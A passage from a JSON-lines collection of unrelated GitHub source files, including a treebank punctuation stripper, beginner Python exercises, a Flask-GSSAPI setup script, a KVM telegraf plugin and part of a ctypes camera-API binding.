'?',\n '━━', '———', '『', '』', '!', '—', '‘', '·', '∶', '「', '」', '/', '-', '*', '"', '.',\n '──', '…', '----', '〈', '〉', '?', ':', '//', '.', '~', '/', ',', '*', '~', '【', '】',\n '>', '<'}\n\nNEGRA_PUNCS = {';', '\"', '?', '...', '*lrb*', '!', ':', '/', '*rrb*', ',', '.', '·', '-', \"'\", '--'}\n\nWSJ_PUNCS = {'.', ',', ':', '\\'\\'', '``', '--', ';', '?', '!', '...',\n '`', \"'\", 'lrb', 'rrb','lcb', 'rcb','-', '$', '#', 'us$', 'a$', 'hk$', 'c$', 'm$',\n 's$'}\n\nALL_PUNCS = CTB_PUNCS | NEGRA_PUNCS | WSJ_PUNCS\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--file', required=True)\nparser.add_argument('--style', required=True, choices=['ctb', 'wsj', 'negra', 'all', 'ud'])\nparser.add_argument('--first-n', type=int, default=sys.maxsize)\nparser.add_argument('--only-final', default=False, action='store_true')\nargs = parser.parse_args()\nlt_file = args.file\ncorpus_type = args.style # ctb, negra, wsj, all\n\nfirst_n = args.first_n\n\nonly_final = args.only_final\n\nout_file = lt_file.split('.')\n\nout_file.insert(-1, 'nopunc')\nif out_file[-1] == 'gz':\n out_file = out_file[:-1]\nout_file = '.'.join(out_file)\nif first_n < sys.maxsize:\n first_n_suffix = '.f'+str(first_n)\n out_file += first_n_suffix\n\nif lt_file.endswith('gz'):\n i = gzip.open(lt_file, 'rt', encoding='utf8')\nelse:\n i = open(lt_file, 'r', encoding='utf8')\n\nwith open(out_file, 'w', encoding='utf8') as o:\n k = 0\n for line in i:\n if k >= first_n:\n break\n else:\n k += 1\n t = nltk.ParentedTree.fromstring(line)\n for sub in reversed(list(t.subtrees())):\n if sub.height() == 2 and ((sub[0] in CTB_PUNCS and corpus_type == 'ctb') or (sub[0] in\n NEGRA_PUNCS and corpus_type == 'negra') or (sub[0] in WSJ_PUNCS and corpus_type ==\n 'wsj') or (sub[0] in ALL_PUNCS and corpus_type == 'all') or ('PUNCT' in sub.label() and corpus_type ==\n 'ud')): #\n # abbreviated\n # test\n parent = sub.parent()\n while parent and len(parent) == 1:\n sub = parent\n parent = sub.parent()\n # print(sub, \"will be deleted\")\n try:\n del t[sub.treeposition()]\n except:\n print(t)\n print(t[sub.treeposition()])\n raise\n if only_final:\n break\n t = nltk.Tree.convert(t)\n # t.collapse_unary(collapsePOS=True, collapseRoot=True)\n print(t.pformat(margin=10000000), file=o)\ni.close()","repo_name":"lifengjin/acl_flow","sub_path":"utils/delete_PU_nodes.py","file_name":"delete_PU_nodes.py","file_ext":"py","file_size_in_byte":2890,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"8349588320","text":"\r\nhak = 0\r\ndevam = \"e\"\r\n\r\nx = 352\r\n\r\n# result = 5 < x < 10\r\n\r\n# and\r\n\r\nresult = (5 < x) and (x < 10) # True, True => True ( Her iki koşul da sağlanmalı) \r\n\r\nresult = (hak > 0) and (devam == \"e\")\r\n\r\n# or\r\n\r\nresult = (x > 0) or (x % 2 == 0 ) # True , False => True (Bir koşulun sağlaması yeterli)\r\n \r\n\r\n# not\r\n\r\nresult = not( x > 0) # tam tersini almaya yarar\r\n\r\n# x, 5 ile 10 arasında olan bir çift sayı mı?\r\n\r\nresult = ((x > 5) and (x < 10)) and (x % 2 == 0) \r\n\r\n\r\nprint(result)","repo_name":"erengungormez/python_learning","sub_path":"Pyhton Operatörleri/logical.py","file_name":"logical.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"tr","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73528478774","text":"from setuptools import setup\n\nimport io\nimport os\nimport os.path\nimport re\n\ndef long_description():\n descr = open('README.rst', 'r').read()\n\n try:\n descr += '\\n\\n' + open('docs/changelog.rst', 'r').read()\n except:\n pass\n\n return descr\n\n\ndef read(*names, **kwargs):\n with io.open(\n os.path.join(os.path.dirname(__file__), *names),\n encoding=kwargs.get(\"encoding\", \"utf8\") \n ) as fp:\n return fp.read()\n\ndef find_version(file_path):\n version_file = read(file_path)\n version_match = re.search(r\"^__version__ = ['\\\"]([^'\\\"]*)['\\\"]\",\n version_file, re.M)\n if version_match:\n return version_match.group(1)\n raise RuntimeError(\"Unable to find version string.\")\n\nsetup(\n name='Flask-GSSAPI',\n version=find_version('flask_gssapi.py'),\n url='https://github.com/cour4g3/flask-gssapi',\n license='MIT',\n author='Michael de Villiers',\n author_email='michael@cour4g3.me',\n description='HTTP Negotiate (GSSAPI) authentication support for Flask applications.',\n long_description=open('README.rst', 'r').read(),\n py_modules=['flask_gssapi'],\n platforms='any',\n install_requires=[\n 'flask',\n 'gssapi',\n ],\n classifiers=[\n 'Environment :: Web Environment',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python :: 2.6',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3.3',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.5',\n 'Topic :: Internet :: WWW/HTTP :: Dynamic Content',\n 'Topic :: Software Development :: Libraries :: Python Modules'\n ]\n)\n","repo_name":"COUR4G3/flask-gssapi","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"4623803822","text":"nome = \"Ninguem\"\nwhile len(nome) != 0: \n nome = input(\"Digite o nome do atleta: \")\n print(\"\")\n if len(nome)>0: \n saltos = []\n lista = [\"Primeiro\",\"Segundo\",\"Terceiro\",\"Quarto\",\"Quinto\"]\n for i in range(5):\n saltos.append(float(input(f\"Digite o tamanho do {lista[i]} salto em metros: \")))\n print(\"\")\n print(\"Atleta: \",nome)\n print(\"Saltos: \",saltos)\n print(\"Média dos saltos: \",(sum(saltos))/5)\n","repo_name":"Davi-Augusto-Schmidt/Programas-e-exercicios","sub_path":"Python/4 - Exercicios com listas/17.py","file_name":"17.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10759642713","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Oct 8 19:21:51 2016\n\n@author: goodwin\n\"\"\"\n#import string\n\nf = open('week1.txt')\nintArray = list(map(int, f.read().splitlines()))\nf.close()\n\ndef count(array):\n '''\ninput: unsorted array\noutput: sorted array, int # of inversions in original array\n '''\n length = len(array)\n if length <= 1:\n return (array, 0)\n else:\n A, a = count(array[0:length//2])\n B, b = count(array[length//2:])\n C, c = countSplit(A, B)\n# print(A,B,C,a,b,c)\n \n return (C, a + b + c)\n\ndef countSplit(left, right):\n '''\ninput: 2 sorted lists\noutput: combined sorted list, int # of split inversions\n '''\n i = 0\n j = 0\n inversions = 0\n combined = []\n while i < len(left) and j < len(right):\n if left[i] < right[j]:\n combined.append(left[i])\n i += 1\n else:\n combined.append(right[j])\n inversions += len(left[i:])\n j += 1\n if i == len(left):\n combined += right[j:]\n else:\n assert j == len(right)\n combined += left[i:]\n# inversions += len(left[i:])\n# print(combined)\n\n assert len(combined) == len(left) + len(right)\n return (combined, inversions)","repo_name":"goodwinc/courseraalgos","sub_path":"week1.py","file_name":"week1.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13747492873","text":"from mmdet_repo.configs.common.coco_detection import root as coco_root\nroot = coco_root + '/Non-Local-Pooling/' # linux\n\n_base_ = [root + '/mmdet_repo/configs/network/ssd/_base_.py']\n\nmodel = dict(\n\tbackbone=dict(\n\t\ttype='MyBackBone',\n\t\tname='mobilenet-skip-1222121',\n\t\tpth_file=None,\n out_indices=[4, 7],\n\t\tuse_fc_layer=False\n\t ),\n bbox_head=dict(\n anchor_generator=dict(\n strides=[16, 32, 64, 107, 160, 320]),\n )\n\t)","repo_name":"C-Fun/Self-Attentive-Pooling-for-Efficient-Deep-Learning","sub_path":"mmdet_repo/configs/network/ssd/mobilenet/skip-1222121.py","file_name":"skip-1222121.py","file_ext":"py","file_size_in_byte":455,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"3508909025","text":"import calendar\nimport json\nimport logging\nimport time\nimport urllib2\n\nfrom verification import base\n\n\nclass TreeStatus(base.IVerifierStatus):\n tree_status_url = unicode\n issue = int\n last_tree_status = unicode\n\n def get_state(self):\n return base.SUCCEEDED\n\n def postpone(self):\n self.last_tree_status = u''\n try:\n logging.debug('Fetching tree status for %s' % self.tree_status_url)\n now = time.time()\n cutoff = now - 5 * 60\n url = self.tree_status_url + '/allstatus?format=json&endTime=%d' % cutoff\n data = json.load(urllib2.urlopen(url))\n\n # Convert datetime string to epoch.\n for item in data:\n # The time is returned in UTC.\n x = time.strptime(item['date'].split('.', 1)[0], '%Y-%m-%d %H:%M:%S')\n item['date'] = calendar.timegm(x)\n\n for item in sorted(data, key=lambda x: x['date'], reverse=True):\n if item['general_state'] != 'open':\n logging.warn('Tree was closed %ds ago: %d',\n int(now - item['date']), self.issue)\n self.last_tree_status = unicode(item['message'])\n return True\n if item['date'] < cutoff:\n break\n return False\n except (urllib2.URLError, ValueError):\n logging.error('Failed to request tree status! %s' % url)\n return True\n\n def why_not(self):\n if self.last_tree_status:\n return u'Tree is currently not open: %s' % self.last_tree_status\n\n\nclass TreeStatusVerifier(base.Verifier):\n \"\"\"Checks the tree status before allowing a commit.\"\"\"\n name = 'tree status'\n\n def __init__(self, tree_status_url):\n super(TreeStatusVerifier, self).__init__()\n self.tree_status_url = tree_status_url\n\n def verify(self, pending):\n pending.verifications[self.name] = TreeStatus(\n tree_status_url=self.tree_status_url, issue=pending.issue)\n\n def update_status(self, queue):\n pass\n","repo_name":"sunny-bay/chromium30","sub_path":"commit-queue/verification/tree_status.py","file_name":"tree_status.py","file_ext":"py","file_size_in_byte":1868,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"27291414136","text":"# 참고: https://blog.naver.com/wizzle1/221890661178\n\ndef solution(n, costs):\n answer = 0\n \n # 비용의 오름차순으로 정렬.\n costs = sorted(costs, key=lambda x : x[2])\n \n # 섬 갯수만큼 리스트 생성.\n visited = [0] * n\n \n # 처음 섬은 방문한 걸로 1 설정.\n visited[costs[0][0]] = 1\n \n while sum(visited) != n:\n for cost in costs:\n s, e, c = cost\n \n if visited[s] or visited[e]:\n if visited[s] and visited[e]:\n continue\n else:\n visited[s] = 1\n visited[e] = 1\n \n answer += c\n break # break가 없다면 모든 비용이 다 더해진다.\n \n return answer","repo_name":"jeongjae96/Coding_Test_Preparation","sub_path":"Programmers/코딩테스트 고득점 Kit/level 3/탐욕법 (Greedy)/섬 연결하기/섬 연결하기.py","file_name":"섬 연결하기.py","file_ext":"py","file_size_in_byte":804,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16538136451","text":"from os import system\nimport datetime\nsystem('cls') or None\nnow = datetime.datetime.now()\n#print(now.year)\n\ndict = {}\ndict['nome'] = input(f'Nome: ')\ndict['idade'] = now.year - int(input(f'Ano de Nascimento: '))\ndict['ctps'] = int(input('Carteira de trabalho (0 não tem): '))\nif dict['ctps'] != 0:\n dict['contratação'] = int(input(f'Ano de contratação: '))\n dict['salário'] = int(input(f'Salário: R$ '))\n print('-='*30)\n print(f'''Nome: {dict['nome']}\\nIdade: {dict['idade']}\\nCTPS: {dict['ctps']}\\nContratação: {dict['contratação']}\\nSalário: {dict['salário']}\\nAposentadoria: {(dict['contratação'] -now.year)+ dict['idade'] +45}''')\nelse:\n print('-='*30)\n print(f'''Nome: {dict['nome']}\\nIdade: {dict['idade']}\\nCTPS : {dict['ctps']}''')\n\n","repo_name":"JoseClaudiolima/Python","sub_path":"Python-Desafios/d89 a d106/d92.py","file_name":"d92.py","file_ext":"py","file_size_in_byte":775,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"7124669746","text":"#!/usr/bin/env python\nimport libvirt\nimport socket\n\nreturn_data = dict()\nconn = libvirt.openReadOnly()\ntry:\n domains = conn.listDomainsID()\n return_data['kvm_vms'] = len(domains)\n return_data['kvm_total_vcpus'] = conn.getCPUMap()[0]\n return_data['kvm_scheduled_vcpus'] = 0\n for domain in domains:\n return_data['kvm_scheduled_vcpus'] += conn.lookupByID(\n domain\n ).maxVcpus()\n return_data['kvm_host_id'] = abs(hash(socket.getfqdn()))\nexcept Exception as exp:\n raise SystemExit('Plugin failure -- Reason: \"%s\"' % exp)\nelse:\n line_data = 'kvm '\n for key, value in return_data.items():\n line_data += '%s=%s,' % (key.replace(' ', '_'), value)\n else:\n line_data = line_data.rstrip(',')\n print(line_data)\nfinally:\n conn.close()\n","repo_name":"ppetit/openstack-ansible-mon","sub_path":"cluster_metrics/templates/telegraf-plugins/kvm_virsh.py","file_name":"kvm_virsh.py","file_ext":"py","file_size_in_byte":796,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8350440884","text":"#!/usr/bin/python3\n\nimport argparse\nimport sys\nimport os\n\nfrom gentoopy.resolve import Resolver\n\nclass readable_dir(argparse.Action):\n def __call__(self,parser, namespace, values, option_string=None):\n prospective_dir=values\n if not os.path.isdir(prospective_dir):\n raise argparse.ArgumentTypeError(\"{0} is not a valid path\".format(prospective_dir))\n if os.access(prospective_dir, os.R_OK):\n setattr(namespace,self.dest,prospective_dir)\n else:\n raise argparse.ArgumentTypeError(\"{0} is not a readable dir\".format(prospective_dir))\n\ndef main(args=None):\n parser = argparse.ArgumentParser(description='Generate reports for Python 3.5 stability reporting')\n parser.add_argument('-o', '--output', help='output path for reports', action=readable_dir, default=os.path.expanduser(\"~\"))\n parser.add_argument('-a', '--arch', help=\"the arch for resolving packages\", default=\"amd64\")\n arguments = parser.parse_args(args)\n\n resolver = Resolver(arguments.arch)\n (pycompat_35_test, pycompat_35_stabilize) = resolver.get_python34_packages()\n\n with open(os.path.join(arguments.output, \"pycompat_35_test.txt\"), 'w') as file_handler:\n for ebuild in pycompat_35_test:\n file_handler.write(\"{}\\n\".format(ebuild)) \n \n with open(os.path.join(arguments.output, \"pycompat_35_stabilize.txt\"), 'w') as file_handler:\n for ebuild in pycompat_35_stabilize:\n file_handler.write(\"{}\\n\".format(ebuild)) \n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n","repo_name":"cwgem/gentoo-python35","sub_path":"scripts/generate_reports.py","file_name":"generate_reports.py","file_ext":"py","file_size_in_byte":1477,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"26670395530","text":"from models.performance import Performance\nfrom models.set import Set\nfrom util.ansii import timer\nfrom util.output import print_green, print_red\n\nclass Finisher(Performance):\n def __init__(self, exercise_id: int) -> None:\n super().__init__([exercise_id], 2) \n\n def perform(self):\n self.start_exercise(\n self.exercises[0].name + \" Finisher\",\n \"Führe so viele Wiederholungen wie möglich durch!\"\n )\n set_one = Set(1, self.exercises[0].id, 0)\n set_two = Set(2, self.exercises[0].id, 0)\n self.add_set(set_one, ask_for_failure=False)\n print(\"\")\n print(\"Führe mindestens doppelt so viele Wiederholungen wie zuvor durch, während der folgende Timer runterläuft!\")\n timer(270)\n self.add_set(set_two, ask_for_failure=False)\n if set_two.reps >= 2*set_one.reps:\n print_green(f\"Du hast den {self.exercises[0].name} Finisher erfolgreich absolviert!\")\n else:\n print_red(f\"Du bis an dem {self.exercises[0].name} Finisher gescheitert!\")","repo_name":"TheUltimateOptimist/training","sub_path":"variations/finisher.py","file_name":"finisher.py","file_ext":"py","file_size_in_byte":1060,"program_lang":"python","lang":"de","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"18407369033","text":"import copy\nimport ctypes\nfrom ctypes import POINTER as c_ptr\nfrom ctypes import byref\nfrom ctypes import c_char_p\nfrom ctypes import c_char_p as c_str\nfrom ctypes import c_void_p, sizeof\nfrom typing import Any, Callable, Tuple\n\nfrom ..error import VmbSystemError\nfrom ..util import TraceEnable\nfrom .vmb_common import (Int32Enum, Uint32Enum, Uint32Flag, VmbBool, VmbCError, VmbDouble, VmbError,\n VmbFilePathChar, VmbHandle, VmbInt32, VmbInt64, VmbPixelFormat, VmbUint8,\n VmbUint32, VmbUint64, fmt_enum_repr, fmt_flags_repr, fmt_repr,\n load_vimbax_lib)\n\n__version__ = None\n\n__all__ = [\n 'VmbPixelFormat',\n 'VmbTransportLayer',\n 'VmbAccessMode',\n 'VmbFeatureData',\n 'VmbFeaturePersist',\n 'VmbModulePersistFlags',\n 'VmbFeatureVisibility',\n 'VmbFeatureFlags',\n 'VmbFrameStatus',\n 'VmbFrameFlags',\n 'VmbVersionInfo',\n 'VmbTransportLayerInfo',\n 'VmbInterfaceInfo',\n 'VmbCameraInfo',\n 'VmbFeatureInfo',\n 'VmbFeatureEnumEntry',\n 'VmbFrame',\n 'VmbFeaturePersistSettings',\n 'G_VMB_C_HANDLE',\n 'VMB_C_VERSION',\n 'EXPECTED_VMB_C_VERSION',\n 'call_vmb_c',\n]\n\nG_VMB_C_HANDLE = VmbHandle((1 << (sizeof(VmbHandle)*8-4)) | 1)\n\nVMB_C_VERSION = None\nEXPECTED_VMB_C_VERSION = '1.0.2'\n\n_lib_instance = load_vimbax_lib('VmbC')\n\n\n# Types\nclass VmbTransportLayer(Uint32Enum):\n \"\"\"\n Camera Interface Types:\n Unknown - Interface is not known to this version of the API\n GEV - GigE Vision\n CL - Camera Link\n IIDC - IIDC 1394\n UVC - USB video class\n CXP - CoaXPress\n CLHS - Camera Link HS\n U3V - USB3 Vision Standard\n Ethernet - Generic Ethernet\n PCI - PCI / PCIe\n Custom - Non standard\n Mixed - Mixed (transport layer only)\n \"\"\"\n Unknown = 0\n GEV = 1\n CL = 2\n IIDC = 3\n UVC = 4\n CXP = 5\n CLHS = 6\n U3V = 7\n Ethernet = 8\n PCI = 9\n Custom = 10\n Mixed = 11\n\n def __str__(self):\n return self._name_\n\n\nclass VmbAccessMode(Uint32Enum):\n \"\"\"\n Camera Access Mode:\n None_ - No access\n Full - Read and write access\n Read - Read-only access\n Unknown - Access type unknown\n Exclusive - Read and write access without permitting access for other consumers\n \"\"\"\n None_ = 0\n Full = 1\n Read = 2\n Unknown = 4\n Exclusive = 8\n\n def __str__(self):\n return self._name_\n\n\nclass VmbFeatureData(Uint32Enum):\n \"\"\"\n Feature Data Types\n Unknown - Unknown feature type\n Int - 64 bit integer feature\n Float - 64 bit floating point feature\n Enum - Enumeration feature\n String - String feature\n Bool - Boolean feature\n Command - Command feature\n Raw - Raw (direct register access) feature\n None_ - Feature with no data\n \"\"\"\n Unknown = 0\n Int = 1\n Float = 2\n Enum = 3\n String = 4\n Bool = 5\n Command = 6\n Raw = 7\n None_ = 8\n\n def __str__(self):\n return self._name_\n\n\nclass VmbFeaturePersist(Uint32Enum):\n \"\"\"\n Type of features that are to be saved (persisted) to the XML file\n when using VmbCameraSettingsSave\n\n All - Save all features to XML, including look-up tables\n Streamable - Save only features marked as streamable, excluding\n look-up tables\n NoLUT - Save all features except look-up tables (default)\n \"\"\"\n All = 0\n Streamable = 1\n NoLUT = 2\n\n def __str__(self):\n return self._name_\n\n\nclass VmbModulePersistFlags(Uint32Flag):\n \"\"\"\n Parameters determining the operation mode of VmbSettingsSave and VmbSettingsLoad\n\n None_ - Persist/Load features for no module\n TransportLayer - Persist/Load the transport layer features\n Interface - Persist/Load the interface features\n RemoteDevice - Persist/Load the remote device features\n LocalDevice - Persist/Load the local device features\n Streams - Persist/Load the features of stream modules\n All - Persist/Load features for all modules\n \"\"\"\n None_ = 0x00\n TransportLayer = 0x01\n Interface = 0x02\n RemoteDevice = 0x04\n LocalDevice = 0x08\n Streams = 0x10\n All = 0xff\n\n def __str__(self):\n return self._name_\n\n\nclass VmbFeatureVisibility(Uint32Enum):\n \"\"\"\n Feature Visibility\n Unknown - Feature visibility is not known\n Beginner - Feature is visible in feature list (beginner level)\n Expert - Feature is visible in feature list (expert level)\n Guru - Feature is visible in feature list (guru level)\n Invisible - Feature is not visible in feature list\n \"\"\"\n Unknown = 0\n Beginner = 1\n Expert = 2\n Guru = 3\n Invisible = 4\n\n def __str__(self):\n return self._name_\n\n\nclass VmbFeatureFlags(Uint32Enum):\n \"\"\"\n Feature Flags\n None_ - No additional information is provided\n Read - Static info about read access.\n Current status depends on access mode, check with\n VmbFeatureAccessQuery()\n Write - Static info about write access.\n Current status depends on access mode, check with\n VmbFeatureAccessQuery()\n Volatile - Value may change at any time\n ModifyWrite - Value may change after a write\n \"\"\"\n None_ = 0\n Read = 1\n Write = 2\n Undocumented = 4\n Volatile = 8\n ModifyWrite = 16\n\n def __str__(self):\n return self._name_\n\n\nclass VmbFrameStatus(Int32Enum):\n \"\"\"\n Frame transfer status\n Complete - Frame has been completed without errors\n Incomplete - Frame could not be filled to the end\n TooSmall - Frame buffer was too small\n Invalid - Frame buffer was invalid\n \"\"\"\n Complete = 0\n Incomplete = -1\n TooSmall = -2\n Invalid = -3\n\n def __str__(self):\n return self._name_\n\n\nclass VmbFrameFlags(Uint32Enum):\n \"\"\"\n Frame Flags\n None_ - No additional information is provided\n Dimension - Frame's dimension is provided\n Offset - Frame's offset is provided (ROI)\n FrameID - Frame's ID is provided\n Timestamp - Frame's timestamp is provided\n ImageData - Frame's imageData is provided\n PayloadType - Frame's payloadType is provided\n ChunkDataPresent - Frame's chunkDataPresent is set based on info provided by the transport\n layer\n \"\"\"\n None_ = 0\n Dimension = 1\n Offset = 2\n FrameID = 4\n Timestamp = 8\n ImageData = 16\n PayloadType = 32\n ChunkDataPresent = 64\n\n def __str__(self):\n return self._name_\n\n\nclass VmbVersionInfo(ctypes.Structure):\n \"\"\"\n Version Information\n Fields:\n major - Type: VmbUint32, Info: Major version number\n minor - Type: VmbUint32, Info: Minor version number\n patch - Type: VmbUint32, Info: Patch version number\n \"\"\"\n _fields_ = [\n (\"major\", VmbUint32),\n (\"minor\", VmbUint32),\n (\"patch\", VmbUint32)\n ]\n\n def __str__(self):\n return '{}.{}.{}'.format(self.major, self.minor, self.patch)\n\n def __repr__(self):\n rep = 'VmbVersionInfo'\n rep += '(major=' + repr(self.major)\n rep += ',minor=' + repr(self.minor)\n rep += ',patch=' + repr(self.patch)\n rep += ')'\n return rep\n\n\nclass VmbTransportLayerInfo(ctypes.Structure):\n \"\"\"\n Fields:\n transportLayerIdString - Type: c_char_p\n Info: Unique id of the transport layer\n transportLayerName - Type: c_char_p\n Info: Name of the transport layer\n transportLayerModelName - Type: c_char_p\n Info: Model name of the transport layer\n transportLayerVendor - Type: c_char_p\n Info: Vendor of the transport layer\n transportLayerVersion - Type: c_char_p\n Info: Version of the transport layer\n transportLayerPath - Type: c_char_p\n Info: Full path of the transport layer\n transportLayerHandle - Type: VmbHandle\n Info: Handle of the transport layer for feature access\n transportLayerType - Type: VmbTransportLayer (VmbUint32)\n Info: The type of the transport layer\n \"\"\"\n _fields_ = [\n (\"transportLayerIdString\", c_char_p),\n (\"transportLayerName\", c_char_p),\n (\"transportLayerModelName\", c_char_p),\n (\"transportLayerVendor\", c_char_p),\n (\"transportLayerVersion\", c_char_p),\n (\"transportLayerPath\", c_char_p),\n (\"transportLayerHandle\", VmbHandle),\n (\"transportLayerType\", VmbUint32)\n ]\n\n def __repr__(self):\n rep = 'VmbTransportLayerInfo'\n rep += fmt_repr('(transportLayerIdString={}', self.transportLayerIdString)\n rep += fmt_repr(',transportLayerName={}', self.transportLayerName)\n rep += fmt_repr(',transportLayerModelName={}', self.transportLayerModelName)\n rep += fmt_repr(',transportLayerVendor={}', self.transportLayerVendor)\n rep += fmt_repr(',transportLayerVersion={}', self.transportLayerVersion)\n rep += fmt_repr(',transportLayerPath={}', self.transportLayerPath)\n rep += fmt_repr(',transportLayerHandle={}', self.transportLayerHandle)\n rep += fmt_enum_repr(',transportLayerType={}', VmbTransportLayer, self.transportLayerType)\n return rep\n\n\nclass VmbInterfaceInfo(ctypes.Structure):\n \"\"\"\n Interface information. Holds read-only information about an interface.\n Fields:\n interfaceIdString - Type: c_char_p\n Info: Unique identifier for each interface\n interfaceName - Type: c_char_p\n Info: Interface name, given by transport layer\n interfaceHandle - Type: VmbHandle\n Info: Handle of the interface for feature access\n transportLayerHandle - Type: VmbHandle\n Info: Handle of the related transport layer for feature access\n interfaceType - Type: VmbTransportLayer (VmbUint32)\n Info: Interface type, see VmbTransportLayer\n \"\"\"\n _fields_ = [\n (\"interfaceIdString\", c_char_p),\n (\"interfaceName\", c_char_p),\n (\"interfaceHandle\", VmbHandle),\n (\"transportLayerHandle\", VmbHandle),\n (\"interfaceType\", VmbUint32)\n ]\n\n def __repr__(self):\n rep = 'VmbInterfaceInfo'\n rep += fmt_repr('(interfaceIdString={}', self.interfaceIdString)\n rep += fmt_repr(',interfaceName={}', self.interfaceName)\n rep += fmt_repr(',interfaceHandle={}', self.interfaceHandle)\n rep += fmt_repr(',transportLayerHandle={}', self.transportLayerHandle)\n rep += fmt_enum_repr(',interfaceType={}', VmbTransportLayer, self.interfaceType)\n rep += ')'\n return rep\n\n\nclass VmbCameraInfo(ctypes.Structure):\n \"\"\"\n Camera information. Holds read-only information about a camera.\n Fields:\n cameraIdString - Type: c_char_p\n Info: Unique identifier for each camera\n cameraIdExtended - Type: c_char_p\n Info: globally unique identifier for the camera\n cameraName - Type: c_char_p\n Info: Name of the camera\n modelName - Type: c_char_p\n Info: Model name\n serialString - Type: c_char_p\n Info: Serial number\n transportLayerHandle - Type: VmbHandle\n Info: Handle of the related transport layer for feature access\n interfaceHandle - Type: VmbHandle\n Info: Handle of the related interface for feature access\n localDeviceHandle - Type: VmbHandle\n Info: Handle of the related GenTL local device. NULL if the\n camera is not opened\n streamHandles - Type: c_ptr(VmbHandle)\n Info: Handles of the streams provided by the camera. NULL if the\n camera is not opened\n streamCount - Type: VmbUint32\n Info: Number of stream handles in the streamHandles array\n permittedAccess - Type: VmbAccessMode (VmbUint32)\n Info: Used access mode, see VmbAccessMode\n \"\"\"\n _fields_ = [\n (\"cameraIdString\", c_char_p),\n (\"cameraIdExtended\", c_char_p),\n (\"cameraName\", c_char_p),\n (\"modelName\", c_char_p),\n (\"serialString\", c_char_p),\n (\"transportLayerHandle\", VmbHandle),\n (\"interfaceHandle\", VmbHandle),\n (\"localDeviceHandle\", VmbHandle),\n (\"streamHandles\", c_ptr(VmbHandle)),\n (\"streamCount\", VmbUint32),\n (\"permittedAccess\", VmbUint32)\n ]\n\n def __repr__(self):\n rep = 'VmbCameraInfo'\n rep += fmt_repr('(cameraIdString={}', self.cameraIdString)\n rep += fmt_repr(',cameraName={}', self.cameraName)\n rep += fmt_repr(',modelName={}', self.modelName)\n rep += fmt_repr(',serialString={}', self.serialString)\n rep += fmt_repr(',transportLayerHandle={}', self.transportLayerHandle)\n rep += fmt_repr(',interfaceHandle={}', self.interfaceHandle)\n rep += fmt_repr(',localDeviceHandle={}', self.localDeviceHandle)\n rep += fmt_repr(',streamHandles={}', self.streamHandles)\n rep += fmt_repr(',streamCount={}', self.streamCount)\n rep += fmt_flags_repr(',permittedAccess={}', VmbAccessMode, self.permittedAccess)\n rep += ')'\n return rep\n\n\nclass VmbFeatureInfo(ctypes.Structure):\n \"\"\"\n Feature information. Holds read-only information about a feature.\n Fields:\n name - Type: c_char_p\n Info: Name used in the API\n category - Type: c_char_p\n Info: Category this feature can be found in\n displayName - Type: c_char_p\n Info: Feature name to be used in GUIs\n tooltip - Type: c_char_p\n Info: Short description, e.g. for a tooltip\n description - Type: c_char_p\n Info: Longer description\n sfncNamespace - Type: c_char_p\n Info: Namespace this feature resides in\n unit - Type: c_char_p\n Info: Measuring unit as given in the XML file\n representation - Type: c_char_p\n Info: Representation of a numeric feature\n featureDataType - Type: VmbFeatureData (VmbUint32)\n Info: Data type of this feature\n featureFlags - Type: VmbFeatureFlags (VmbUint32)\n Info: Access flags for this feature\n pollingTime - Type: VmbUint32\n Info: Predefined polling time for volatile features\n visibility - Type: VmbFeatureVisibility (VmbUint32)\n Info: GUI visibility\n isStreamable - Type: VmbBool\n Info: Indicates if a feature can be stored to / loaded from a file\n hasSelectedFeatures - Type: VmbBool\n Info: Indicates if the feature selects other\n features\n \"\"\"\n _fields_ = [\n (\"name\", c_char_p),\n (\"category\", c_char_p),\n (\"displayName\", c_char_p),\n (\"tooltip\", c_char_p),\n (\"description\", c_char_p),\n (\"sfncNamespace\", c_char_p),\n (\"unit\", c_char_p),\n (\"representation\", c_char_p),\n (\"featureDataType\", VmbUint32),\n (\"featureFlags\", VmbUint32),\n (\"pollingTime\", VmbUint32),\n (\"visibility\", VmbUint32),\n (\"isStreamable\", VmbBool),\n (\"hasSelectedFeatures\", VmbBool)\n ]\n\n def __repr__(self):\n rep = 'VmbFeatureInfo'\n rep += fmt_repr('(name={}', self.name)\n rep += fmt_repr(',category={}', self.category)\n rep += fmt_repr(',displayName={}', self.displayName)\n rep += fmt_repr(',tooltip={}', self.tooltip)\n rep += fmt_repr(',description={}', self.description)\n rep += fmt_repr(',sfncNamespace={}', self.sfncNamespace)\n rep += fmt_repr(',unit={}', self.unit)\n rep += fmt_repr(',representation={}', self.representation)\n rep += fmt_enum_repr(',featureDataType={}', VmbFeatureData, self.featureDataType)\n rep += fmt_flags_repr(',featureFlags={}', VmbFeatureFlags, self.featureFlags)\n rep += fmt_repr(',pollingTime={}', 